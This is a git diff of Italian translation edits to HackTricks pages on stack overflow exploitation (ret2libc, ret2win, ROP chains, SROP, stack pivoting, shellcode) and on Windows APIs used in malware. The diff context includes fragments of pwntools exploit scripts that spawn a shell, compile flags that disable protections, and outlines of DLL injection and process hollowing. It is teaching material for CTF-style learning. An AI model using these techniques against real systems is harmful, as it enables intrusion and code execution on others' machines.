libc.address = leak - libc.symbols[func_name] #Save libc base @@ -219,7 +219,7 @@ p.sendline(rop2) p.interactive() #Interact with the conenction ``` Spieghiamo questo ROP finale.\ -L'ultimo ROP (`rop1`) ha chiamato di nuovo la funzione main, quindi possiamo **sfruttare di nuovo** l'**overflow** (ecco perché l'`OFFSET` è qui di nuovo). Poi, vogliamo chiamare `POP_RDI` puntando all'**indirizzo** di _"/bin/sh"_ (`BINSH`) e chiamare la funzione **system** (`SYSTEM`) perché l'indirizzo di _"/bin/sh"_ sarà passato come parametro.\ +L'ultimo ROP (`rop1`) ha chiamato di nuovo la funzione main, quindi possiamo **sfruttare di nuovo** il **overflow** (ecco perché l'`OFFSET` è qui di nuovo). Poi, vogliamo chiamare `POP_RDI` puntando all'**indirizzo** di _"/bin/sh"_ (`BINSH`) e chiamare la funzione **system** (`SYSTEM`) perché l'indirizzo di _"/bin/sh"_ sarà passato come parametro.\ Infine, l'**indirizzo della funzione exit** è **chiamato** in modo che il processo **esca ordinatamente** e non venga generato alcun avviso. **In questo modo l'exploit eseguirà una \_/bin/sh**\_\*\* shell.\*\* @@ -228,7 +228,7 @@ Infine, l'**indirizzo della funzione exit** è **chiamato** in modo che il proce ## 4(2)- Utilizzando ONE_GADGET -Potresti anche usare [**ONE_GADGET** ](https://github.com/david942j/one_gadget) per ottenere una shell invece di usare **system** e **"/bin/sh". ONE_GADGET** troverà all'interno della libreria libc un modo per ottenere una shell utilizzando solo un **indirizzo ROP**.\ +Potresti anche usare [**ONE_GADGET** ](https://github.com/david942j/one_gadget) per ottenere una shell invece di usare **system** e **"/bin/sh". ONE_GADGET** troverà all'interno della libreria libc qualche modo per ottenere una shell usando solo un **indirizzo ROP**.\ Tuttavia, normalmente ci sono alcune restrizioni, le più comuni e facili da evitare sono come `[rsp+0x30] == NULL`. Poiché controlli i valori all'interno del **RSP**, devi solo inviare alcuni valori NULL in più in modo che la restrizione venga evitata. ![](<../../../../../images/image (615).png>) @@ -254,7 +254,7 @@ objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` -e impostare l'indirizzo manualmente: +e imposta l'indirizzo manualmente: ```python MAIN_PLT = 0x401080 ``` diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md index 48ff65207..21e6aef94 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md @@ -186,7 +186,7 @@ P.interactive() #Interact with your shell :) ## MAIN_PLT = elf.symbols\['main'] non trovato -Se il simbolo "main" non esiste (probabilmente perché è un binario rimosso). Allora puoi semplicemente dove si trova il codice principale: +Se il simbolo "main" non esiste (probabilmente perché è un binario strippato). Allora puoi semplicemente dove si trova il codice principale: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md index 56517ef46..9910bb20f 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md @@ -24,7 +24,7 @@ Seguendo [**questo link**](https://github.com/florianhofhammer/stack-buffer-over Nel caso tu possa trovare un **puntatore perfetto nello stack che non vuoi modificare** (in `ret2ret` cambiamo l'ultimo byte più basso in `0x00`), puoi eseguire lo stesso attacco `ret2ret`, ma la **lunghezza del RET sled deve essere accorciata di 1** (quindi il finale `0x00` sovrascrive i dati appena prima del puntatore perfetto), e il **ultimo** indirizzo del RET sled deve puntare a **`pop ; ret`**.\ In questo modo, i **dati prima del puntatore perfetto verranno rimossi** dallo stack (questi sono i dati influenzati dal `0x00`) e il **finale `ret` punterà all'indirizzo perfetto** nello stack senza alcuna modifica. -Seguendo [**questo link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) puoi vedere un esempio di un binario vulnerabile e [**in questo**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) l'exploit. +Seguendo [**questo link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) puoi vedere un esempio di un binario vulnerabile e [**in questo** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) l'exploit. ## References diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md index 1ce7b75f9..fac60894b 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md @@ -27,19 +27,19 @@ vulnerable_function(); return 0; } ``` -Per compilare questo programma senza protezioni dello stack e con **ASLR** disabilitato, puoi utilizzare il seguente comando: +Per compilare questo programma senza protezioni dello stack e con **ASLR** disabilitato, puoi usare il seguente comando: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-m32`: Compila il programma come un binario a 32 bit (questo è facoltativo ma comune nelle sfide CTF). - `-fno-stack-protector`: Disabilita le protezioni contro gli overflow dello stack. - `-z execstack`: Consenti l'esecuzione di codice nello stack. -- `-no-pie`: Disabilita l'Eseguibile Indipendente dalla Posizione per garantire che l'indirizzo della funzione `win` non cambi. +- `-no-pie`: Disabilita l'eseguibile indipendente dalla posizione per garantire che l'indirizzo della funzione `win` non cambi. - `-o vulnerable`: Nomina il file di output `vulnerable`. ### Python Exploit usando Pwntools -Per l'exploit, useremo **pwntools**, un potente framework CTF per scrivere exploit. Lo script di exploit creerà un payload per sovrascrivere il buffer e sovrascrivere l'indirizzo di ritorno con l'indirizzo della funzione `win`. +Per l'exploit, utilizzeremo **pwntools**, un potente framework CTF per scrivere exploit. Lo script di exploit creerà un payload per sovrascrivere il buffer e sovrascrivere l'indirizzo di ritorno con l'indirizzo della funzione `win`. ```python from pwn import * @@ -59,33 +59,33 @@ payload = b'A' * 68 + win_addr p.sendline(payload) p.interactive() ``` -Per trovare l'indirizzo della funzione `win`, puoi utilizzare **gdb**, **objdump** o qualsiasi altro strumento che ti consenta di ispezionare i file binari. Ad esempio, con `objdump`, potresti usare: +Per trovare l'indirizzo della funzione `win`, puoi utilizzare **gdb**, **objdump** o qualsiasi altro strumento che ti consenta di ispezionare file binari. Ad esempio, con `objdump`, potresti usare: ```sh objdump -d vulnerable | grep win ``` -Questo comando mostrerà l'assembly della funzione `win`, incluso il suo indirizzo di partenza. +Questo comando ti mostrerà l'assembly della funzione `win`, incluso il suo indirizzo di partenza. Lo script Python invia un messaggio accuratamente progettato che, quando elaborato dalla `vulnerable_function`, fa traboccare il buffer e sovrascrive l'indirizzo di ritorno nello stack con l'indirizzo di `win`. Quando `vulnerable_function` restituisce, invece di tornare a `main` o uscire, salta a `win`, e il messaggio viene stampato. ## Protezioni -- [**PIE**](../common-binary-protections-and-bypasses/pie/) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni, altrimenti l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. In alcuni casi, quando la funzione che causa il trabocco è `read` o simile, puoi fare un **Partial Overwrite** di 1 o 2 byte per cambiare l'indirizzo di ritorno in modo che sia la funzione win. A causa di come funziona ASLR, le ultime tre nibble esadecimali non sono randomizzate, quindi c'è una **1/16 possibilità** (1 nibble) di ottenere l'indirizzo di ritorno corretto. +- [**PIE**](../common-binary-protections-and-bypasses/pie/) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. In alcuni casi, quando la funzione che causa il trabocco è `read` o simile, puoi fare un **Partial Overwrite** di 1 o 2 byte per cambiare l'indirizzo di ritorno in modo che sia la funzione win. A causa di come funziona ASLR, le ultime tre nibble esadecimali non sono randomizzate, quindi c'è una **1/16 possibilità** (1 nibble) di ottenere l'indirizzo di ritorno corretto. - [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) dovrebbero essere anch'esse disabilitate o l'indirizzo di ritorno EIP compromesso non sarà mai seguito. ## Altri esempi & Riferimenti - [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) -- 32 bit, senza ASLR +- 32bit, no ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html) - 64 bit con ASLR, con un leak dell'indirizzo bin - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) -- 64 bit, senza ASLR +- 64 bit, no ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) -- 32 bit, senza ASLR, doppio piccolo overflow, primo per traboccare lo stack e ingrandire la dimensione del secondo overflow +- 32 bit, no ASLR, doppio piccolo overflow, primo per traboccare lo stack e ingrandire la dimensione del secondo overflow - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit, relro, senza canary, nx, senza pie, stringa di formato per sovrascrivere l'indirizzo `fflush` con la funzione win (ret2win) +- 32 bit, relro, no canary, nx, no pie, stringa di formato per sovrascrivere l'indirizzo `fflush` con la funzione win (ret2win) - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) -- 64 bit, relro, senza canary, nx, pie. Partial overwrite per chiamare la funzione win (ret2win) +- 64 bit, relro, no canary, nx, pie. Partial overwrite per chiamare la funzione win (ret2win) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md index 5bdc86380..edf49bcee 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md @@ -29,14 +29,14 @@ Prima, assumiamo di aver identificato i gadget necessari all'interno del binario - `pop eax; ret`: Questo gadget estrae il valore superiore dello stack nel registro `EAX` e poi restituisce, permettendoci di controllare `EAX`. - `pop ebx; ret`: Simile a quello sopra, ma per il registro `EBX`, abilitando il controllo su `EBX`. -- `mov [ebx], eax; ret`: Sposta il valore in `EAX` nella posizione di memoria puntata da `EBX` e poi restituisce. Questo è spesso chiamato un **gadget write-what-where**. +- `mov [ebx], eax; ret`: Sposta il valore in `EAX` nella posizione di memoria puntata da `EBX` e poi restituisce. Questo è spesso chiamato un **write-what-where gadget**. - Inoltre, abbiamo l'indirizzo della funzione `system()` disponibile. ### **Catena ROP** Utilizzando **pwntools**, prepariamo lo stack per l'esecuzione della catena ROP come segue, mirando a eseguire `system('/bin/sh')`, nota come la catena inizia con: -1. Un'istruzione `ret` per motivi di allineamento (opzionale) +1. Un'istruzione `ret` per scopi di allineamento (opzionale) 2. Indirizzo della funzione `system` (supponendo ASLR disabilitato e libc conosciuta, maggiori informazioni in [**Ret2lib**](ret2lib/)) 3. Segnaposto per l'indirizzo di ritorno da `system()` 4. Indirizzo della stringa `"/bin/sh"` (parametro per la funzione system) @@ -83,7 +83,7 @@ p.interactive() #### **Finding Gadgets** -Per il nostro scopo, concentriamoci sui gadget che ci permetteranno di impostare il registro **RDI** (per passare la stringa **"/bin/sh"** come argomento a **system()**) e poi chiamare la funzione **system()**. Assumeremo di aver identificato i seguenti gadget: +Per il nostro scopo, concentriamoci sui gadget che ci permetteranno di impostare il **registro RDI** (per passare la stringa **"/bin/sh"** come argomento a **system()**) e poi chiamare la funzione **system()**. Assumeremo di aver identificato i seguenti gadget: - **pop rdi; ret**: Estrae il valore superiore dello stack in **RDI** e poi ritorna. Essenziale per impostare il nostro argomento per **system()**. - **ret**: Un semplice ritorno, utile per l'allineamento dello stack in alcuni scenari. @@ -131,23 +131,23 @@ In questo esempio: - Utilizziamo il gadget **`pop rdi; ret`** per impostare **`RDI`** all'indirizzo di **`"/bin/sh"`**. - Saltiamo direttamente a **`system()`** dopo aver impostato **`RDI`**, con l'indirizzo di **system()** nella catena. -- **`ret_gadget`** è usato per l'allineamento se l'ambiente target lo richiede, il che è più comune in **x64** per garantire un corretto allineamento dello stack prima di chiamare le funzioni. +- **`ret_gadget`** è utilizzato per l'allineamento se l'ambiente target lo richiede, il che è più comune in **x64** per garantire un corretto allineamento dello stack prima di chiamare le funzioni. ### Allineamento dello Stack -**L'ABI x86-64** garantisce che lo **stack sia allineato a 16 byte** quando viene eseguita un'**istruzione di chiamata**. **LIBC**, per ottimizzare le prestazioni, **usa istruzioni SSE** (come **movaps**) che richiedono questo allineamento. Se lo stack non è allineato correttamente (significa che **RSP** non è un multiplo di 16), le chiamate a funzioni come **system** falliranno in una **catena ROP**. Per risolvere questo problema, basta aggiungere un **gadget ret** prima di chiamare **system** nella tua catena ROP. +**L'ABI x86-64** garantisce che lo **stack sia allineato a 16 byte** quando viene eseguita un'**istruzione di chiamata**. **LIBC**, per ottimizzare le prestazioni, **utilizza istruzioni SSE** (come **movaps**) che richiedono questo allineamento. Se lo stack non è allineato correttamente (significa che **RSP** non è un multiplo di 16), le chiamate a funzioni come **system** falliranno in una **catena ROP**. Per risolvere questo problema, basta aggiungere un **gadget ret** prima di chiamare **system** nella tua catena ROP. ## Differenza principale tra x86 e x64 > [!TIP] -> Poiché x64 utilizza registri per i primi argomenti, richiede spesso meno gadget rispetto a x86 per chiamate di funzione semplici, ma trovare e concatenare i gadget giusti può essere più complesso a causa del numero maggiore di registri e dello spazio degli indirizzi più ampio. L'aumento del numero di registri e lo spazio degli indirizzi più ampio nell'architettura **x64** offrono sia opportunità che sfide per lo sviluppo di exploit, specialmente nel contesto della Programmazione Orientata al Ritorno (ROP). +> Poiché x64 utilizza registri per i primi argomenti, richiede spesso meno gadget rispetto a x86 per chiamate di funzione semplici, ma trovare e concatenare i gadget giusti può essere più complesso a causa del numero maggiore di registri e dello spazio degli indirizzi più ampio. L'aumento del numero di registri e dello spazio degli indirizzi più ampio nell'architettura **x64** offre sia opportunità che sfide per lo sviluppo di exploit, specialmente nel contesto della Programmazione Orientata al Ritorno (ROP). ## Protezioni - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) - [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) -## Altri Esempi & Riferimenti +## Altri Esempi e Riferimenti - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md index 9d1abe926..d3d69298b 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md @@ -6,7 +6,7 @@ **`Sigreturn`** è una **syscall** speciale utilizzata principalmente per ripulire dopo che un gestore di segnali ha completato la sua esecuzione. I segnali sono interruzioni inviate a un programma dal sistema operativo, spesso per indicare che si è verificata una situazione eccezionale. Quando un programma riceve un segnale, interrompe temporaneamente il suo lavoro attuale per gestire il segnale con un **gestore di segnali**, una funzione speciale progettata per occuparsi dei segnali. -Dopo che il gestore di segnali ha terminato, il programma deve **riprendere il suo stato precedente** come se nulla fosse accaduto. Qui entra in gioco **`sigreturn`**. Aiuta il programma a **tornare dal gestore di segnali** e ripristina lo stato del programma ripulendo il frame dello stack (la sezione di memoria che memorizza le chiamate di funzione e le variabili locali) utilizzato dal gestore di segnali. +Dopo che il gestore di segnali termina, il programma deve **riprendere il suo stato precedente** come se nulla fosse accaduto. Qui entra in gioco **`sigreturn`**. Aiuta il programma a **ritornare dal gestore di segnali** e ripristina lo stato del programma ripulendo il frame dello stack (la sezione di memoria che memorizza le chiamate di funzione e le variabili locali) utilizzato dal gestore di segnali. La parte interessante è come **`sigreturn`** ripristina lo stato del programma: lo fa memorizzando **tutti i valori dei registri della CPU nello stack.** Quando il segnale non è più bloccato, **`sigreturn` estrae questi valori dallo stack**, ripristinando effettivamente i registri della CPU al loro stato precedente alla gestione del segnale. Questo include il registro del puntatore dello stack (RSP), che punta all'attuale cima dello stack. diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index ac7e63f50..4661ddeb2 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -91,7 +91,7 @@ print(p.recvline()) ``` ## EBP è inutile -Come [**spiegato in questo post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se un binario è compilato con alcune ottimizzazioni, l'**EBP non controlla mai l'ESP**, quindi, qualsiasi exploit che funziona controllando l'EBP fallirà fondamentalmente perché non ha alcun effetto reale.\ +Come [**spiegato in questo post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se un binario è compilato con alcune ottimizzazioni, l'**EBP non controlla mai l'ESP**, quindi, qualsiasi exploit che funziona controllando l'EBP fallirà sostanzialmente perché non ha alcun effetto reale.\ Questo perché i **prologhi e gli epiloghi cambiano** se il binario è ottimizzato. - **Non ottimizzato:** @@ -120,7 +120,7 @@ ret # return ### **`pop rsp`** gadget -[**In questa pagina**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puoi trovare un esempio che utilizza questa tecnica. Per questa sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un **`pop rsp` gadget** e c'era una **leak dallo stack**: +[**In questa pagina**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puoi trovare un esempio che utilizza questa tecnica. Per questa sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un **`pop rsp` gadget** e c'è una **leak dallo stack**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md index 2a586ce78..35e4b00d3 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md @@ -4,7 +4,7 @@ ## Informazioni di Base -**Stack shellcode** è una tecnica utilizzata nell'exploitation binaria in cui un attaccante scrive shellcode nello stack di un programma vulnerabile e poi modifica il **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** per puntare alla posizione di questo shellcode, causando la sua esecuzione. Questo è un metodo classico utilizzato per ottenere accesso non autorizzato o eseguire comandi arbitrari su un sistema target. Ecco una panoramica del processo, inclusa un semplice esempio in C e come potresti scrivere un exploit corrispondente utilizzando Python con **pwntools**. +**Stack shellcode** è una tecnica utilizzata nell'exploitation binaria in cui un attaccante scrive shellcode nello stack di un programma vulnerabile e poi modifica il **Puntatore Istruzione (IP)** o **Puntatore Istruzione Esteso (EIP)** per puntare alla posizione di questo shellcode, causando la sua esecuzione. Questo è un metodo classico utilizzato per ottenere accesso non autorizzato o eseguire comandi arbitrari su un sistema target. Ecco una panoramica del processo, inclusa un semplice esempio in C e come potresti scrivere un exploit corrispondente utilizzando Python con **pwntools**. ### Esempio C: Un Programma Vulnerabile diff --git a/src/reversing/common-api-used-in-malware.md b/src/reversing/common-api-used-in-malware.md index 634b34f11..fad286e5c 100644 --- a/src/reversing/common-api-used-in-malware.md +++ b/src/reversing/common-api-used-in-malware.md @@ -1,8 +1,8 @@ -# API comuni usati nel Malware +# Common API used in Malware {{#include ../banners/hacktricks-training.md}} -## Generico +## Generic ### Networking @@ -17,7 +17,7 @@ | write() | send() | | shutdown() | WSACleanup() | -### Persistenza +### Persistence | Registry | File | Service | | ---------------- | ------------- | ---------------------------- | @@ -27,9 +27,9 @@ | RegDeleteKeyEx() | WriteFile() | | | RegGetValue() | ReadFile() | | -### Crittografia +### Encryption -| Nome | +| Name | | --------------------- | | WinCrypt | | CryptAcquireContext() | @@ -38,34 +38,34 @@ | CryptDecrypt() | | CryptReleaseContext() | -### Anti-Analisi/VM +### Anti-Analysis/VM -| Nome Funzione | Istruzioni Assembly | -| --------------------------------------------------------- | ------------------- | -| IsDebuggerPresent() | CPUID() | -| GetSystemInfo() | IN() | -| GlobalMemoryStatusEx() | | -| GetVersion() | | -| CreateToolhelp32Snapshot \[Controlla se un processo è in esecuzione] | | -| CreateFileW/A \[Controlla se un file esiste] | | +| Function Name | Assembly Instructions | +| --------------------------------------------------------- | --------------------- | +| IsDebuggerPresent() | CPUID() | +| GetSystemInfo() | IN() | +| GlobalMemoryStatusEx() | | +| GetVersion() | | +| CreateToolhelp32Snapshot \[Check if a process is running] | | +| CreateFileW/A \[Check if a file exist] | | ### Stealth -| Nome | | +| Name | | | ------------------------ | -------------------------------------------------------------------------- | -| VirtualAlloc | Allocare memoria (packers) | -| VirtualProtect | Cambiare permessi di memoria (packer che dà permesso di esecuzione a una sezione) | -| ReadProcessMemory | Iniezione in processi esterni | -| WriteProcessMemoryA/W | Iniezione in processi esterni | +| VirtualAlloc | Alloc memory (packers) | +| VirtualProtect | Change memory permission (packer giving execution permission to a section) | +| ReadProcessMemory | Injection into external processes | +| WriteProcessMemoryA/W | Injection into external processes | | NtWriteVirtualMemory | | -| CreateRemoteThread | Iniezione DLL/Process... | +| CreateRemoteThread | DLL/Process injection... | | NtUnmapViewOfSection | | | QueueUserAPC | | | CreateProcessInternalA/W | | -### Esecuzione +### Execution -| Nome Funzione | +| Function Name | | ---------------- | | CreateProcessA/W | | ShellExecute | @@ -73,52 +73,52 @@ | ResumeThread | | NtResumeThread | -### Varie +### Miscellaneous - GetAsyncKeyState() -- Key logging - SetWindowsHookEx -- Key logging -- GetForeGroundWindow -- Ottieni il nome della finestra in esecuzione (o il sito web da un browser) -- LoadLibrary() -- Importa libreria -- GetProcAddress() -- Importa libreria -- CreateToolhelp32Snapshot() -- Elenca i processi in esecuzione +- GetForeGroundWindow -- Get running window name (or the website from a browser) +- LoadLibrary() -- Import library +- GetProcAddress() -- Import library +- CreateToolhelp32Snapshot() -- List running processes - GetDC() -- Screenshot - BitBlt() -- Screenshot -- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Accesso a Internet -- FindResource(), LoadResource(), LockResource() -- Accesso alle risorse dell'eseguibile +- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Access the Internet +- FindResource(), LoadResource(), LockResource() -- Access resources of the executable -## Tecniche Malware +## Malware Techniques -### Iniezione DLL +### DLL Injection -Eseguire una DLL arbitraria all'interno di un altro processo +Eseguire un DLL arbitrario all'interno di un altro processo -1. Individuare il processo in cui iniettare la DLL malevola: CreateToolhelp32Snapshot, Process32First, Process32Next +1. Individuare il processo in cui iniettare il DLL malevolo: CreateToolhelp32Snapshot, Process32First, Process32Next 2. Aprire il processo: GetModuleHandle, GetProcAddress, OpenProcess -3. Scrivere il percorso della DLL all'interno del processo: VirtualAllocEx, WriteProcessMemory -4. Creare un thread nel processo che caricherà la DLL malevola: CreateRemoteThread, LoadLibrary +3. Scrivere il percorso del DLL all'interno del processo: VirtualAllocEx, WriteProcessMemory +4. Creare un thread nel processo che caricherà il DLL malevolo: CreateRemoteThread, LoadLibrary Altre funzioni da utilizzare: NTCreateThreadEx, RtlCreateUserThread -### Iniezione DLL Riflessiva +### Reflective DLL Injection -Caricare una DLL malevola senza chiamare le normali chiamate API di Windows.\ -La DLL è mappata all'interno di un processo, risolverà gli indirizzi di importazione, correggerà le rilocazioni e chiamerà la funzione DllMain. +Caricare un DLL malevolo senza chiamare le normali API di Windows.\ +Il DLL è mappato all'interno di un processo, risolverà gli indirizzi di importazione, sistemerà le rilocazioni e chiamerà la funzione DllMain. -### Hijacking del Thread +### Thread Hijacking -Trovare un thread da un processo e farlo caricare una DLL malevola +Trovare un thread da un processo e farlo caricare un DLL malevolo 1. Trovare un thread target: CreateToolhelp32Snapshot, Thread32First, Thread32Next 2. Aprire il thread: OpenThread 3. Sospendere il thread: SuspendThread -4. Scrivere il percorso della DLL malevola all'interno del processo vittima: VirtualAllocEx, WriteProcessMemory +4. Scrivere il percorso del DLL malevolo all'interno del processo vittima: VirtualAllocEx, WriteProcessMemory 5. Riprendere il thread caricando la libreria: ResumeThread -### Iniezione PE +### PE Injection Iniezione di Esecuzione Portatile: L'eseguibile sarà scritto nella memoria del processo vittima e verrà eseguito da lì. -### Hollowing del Processo +### Process Hollowing Il malware rimuoverà il codice legittimo dalla memoria del processo e caricherà un binario malevolo @@ -130,10 +130,10 @@ Il malware rimuoverà il codice legittimo dalla memoria del processo e caricher ## Hooking - Il **SSDT** (**System Service Descriptor Table**) punta a funzioni del kernel (ntoskrnl.exe) o driver GUI (win32k.sys) in modo che i processi utente possano chiamare queste funzioni. -- Un rootkit può modificare questi puntatori a indirizzi che controlla. +- Un rootkit può modificare questi puntatori a indirizzi che controlla - **IRP** (**I/O Request Packets**) trasmettono pezzi di dati da un componente all'altro. Quasi tutto nel kernel utilizza IRP e ogni oggetto dispositivo ha la propria tabella di funzioni che può essere hookata: DKOM (Direct Kernel Object Manipulation) - La **IAT** (**Import Address Table**) è utile per risolvere le dipendenze. È possibile hookare questa tabella per dirottare il codice che verrà chiamato. -- **EAT** (**Export Address Table**) Hooks. Questi hook possono essere effettuati da **userland**. L'obiettivo è hookare le funzioni esportate dalle DLL. -- **Inline Hooks**: Questo tipo è difficile da realizzare. Questo comporta la modifica del codice delle funzioni stesse. Forse mettendo un salto all'inizio di esse. +- **EAT** (**Export Address Table**) Hooks. Questi hook possono essere effettuati da **userland**. L'obiettivo è hookare le funzioni esportate dai DLL. +- **Inline Hooks**: Questo tipo è difficile da realizzare. Questo comporta la modifica del codice delle funzioni stesse. Forse mettendo un salto all'inizio di queste. {{#include ../banners/hacktricks-training.md}} diff --git a/src/reversing/cryptographic-algorithms/README.md b/src/reversing/cryptographic-algorithms/README.md index 7eaebc568..0ef7181c6 100644 --- a/src/reversing/cryptographic-algorithms/README.md +++ b/src/reversing/cryptographic-algorithms/README.md @@ -12,7 +12,7 @@ Se si termina in un codice **che utilizza shift a destra e a sinistra, xors e di **CryptDeriveKey** -Se questa funzione è utilizzata, puoi scoprire quale **algoritmo viene utilizzato** controllando il valore del secondo parametro: +Se questa funzione è utilizzata, puoi scoprire quale **algoritmo è in uso** controllando il valore del secondo parametro: ![](<../../images/image (375) (1) (1) (1) (1).png>) @@ -24,11 +24,11 @@ Comprimi e decomprimi un dato buffer. **CryptAcquireContext** -Dai [documenti](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): La funzione **CryptAcquireContext** viene utilizzata per acquisire un handle a un particolare contenitore di chiavi all'interno di un particolare fornitore di servizi crittografici (CSP). **Questo handle restituito è utilizzato nelle chiamate alle funzioni CryptoAPI** che utilizzano il CSP selezionato. +Dai [documenti](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): La funzione **CryptAcquireContext** è utilizzata per acquisire un handle a un particolare contenitore di chiavi all'interno di un particolare fornitore di servizi crittografici (CSP). **Questo handle restituito è utilizzato nelle chiamate alle funzioni CryptoAPI** che utilizzano il CSP selezionato. **CryptCreateHash** -Inizia l'hashing di un flusso di dati. Se questa funzione è utilizzata, puoi scoprire quale **algoritmo viene utilizzato** controllando il valore del secondo parametro: +Inizia l'hashing di un flusso di dati. Se questa funzione è utilizzata, puoi scoprire quale **algoritmo è in uso** controllando il valore del secondo parametro: ![](<../../images/image (376).png>) @@ -48,7 +48,7 @@ Se 